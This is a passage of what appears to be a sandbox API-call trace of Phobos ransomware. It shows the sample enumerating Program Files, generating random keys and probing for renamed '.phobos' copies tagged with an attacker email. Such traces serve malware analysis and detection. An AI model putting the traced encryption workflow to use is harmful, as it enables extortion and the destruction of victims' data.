Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.051] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=6144) returned 1 [0125.052] CloseHandle (hObject=0x580) returned 1 [0125.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0125.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.052] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.057] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=695296) returned 1 [0125.057] CloseHandle (hObject=0x580) returned 1 [0125.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0125.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.058] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.059] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=221696) returned 1 [0125.059] CloseHandle (hObject=0x580) returned 1 [0125.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0125.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.060] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.060] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=2560) returned 1 [0125.060] CloseHandle (hObject=0x580) returned 1 [0125.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0125.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.060] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.062] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=31744) returned 1 [0125.062] CloseHandle (hObject=0x580) returned 1 [0125.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0125.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.062] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.063] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=48128) returned 1 [0125.063] CloseHandle (hObject=0x580) returned 1 [0125.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0125.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.063] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.065] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=44032) returned 1 [0125.065] CloseHandle (hObject=0x580) returned 1 [0125.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0125.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.069] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.071] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=54784) returned 1 [0125.071] CloseHandle (hObject=0x580) returned 1 [0125.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0125.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.072] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.073] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=16384) returned 1 [0125.073] CloseHandle (hObject=0x580) returned 1 [0125.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0125.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.076] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.083] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=4608) returned 1 [0125.083] CloseHandle (hObject=0x594) returned 1 [0125.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0125.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.086] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.090] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=2560) returned 1 [0125.090] CloseHandle (hObject=0x594) returned 1 [0125.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0125.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.090] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.094] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=854528) returned 1 [0125.094] CloseHandle (hObject=0x594) returned 1 [0125.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0125.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\wab32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.096] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.108] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=2560) returned 1 [0125.108] CloseHandle (hObject=0x594) returned 1 [0125.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0125.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.109] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.113] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=5632) returned 1 [0125.113] CloseHandle (hObject=0x594) returned 1 [0125.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0125.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.113] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\himscoredprices.exe" (normalized: "c:\\program files\\internet explorer\\himscoredprices.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.119] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=75776) returned 1 [0125.119] CloseHandle (hObject=0x594) returned 1 [0125.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\himscoredprices.exe" (normalized: "c:\\program files\\internet explorer\\himscoredprices.exe")) returned 0x20 [0125.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\himscoredprices.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\himscoredprices.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\himscoredprices.exe" (normalized: "c:\\program files\\internet explorer\\himscoredprices.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.120] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.123] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=512000) returned 1 [0125.123] CloseHandle (hObject=0x594) returned 1 [0125.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0125.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.126] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.131] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=407552) returned 1 [0125.131] CloseHandle (hObject=0x594) returned 1 [0125.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0125.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.131] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.134] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=824128) returned 1 [0125.134] CloseHandle (hObject=0x594) returned 1 [0125.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0125.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.134] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 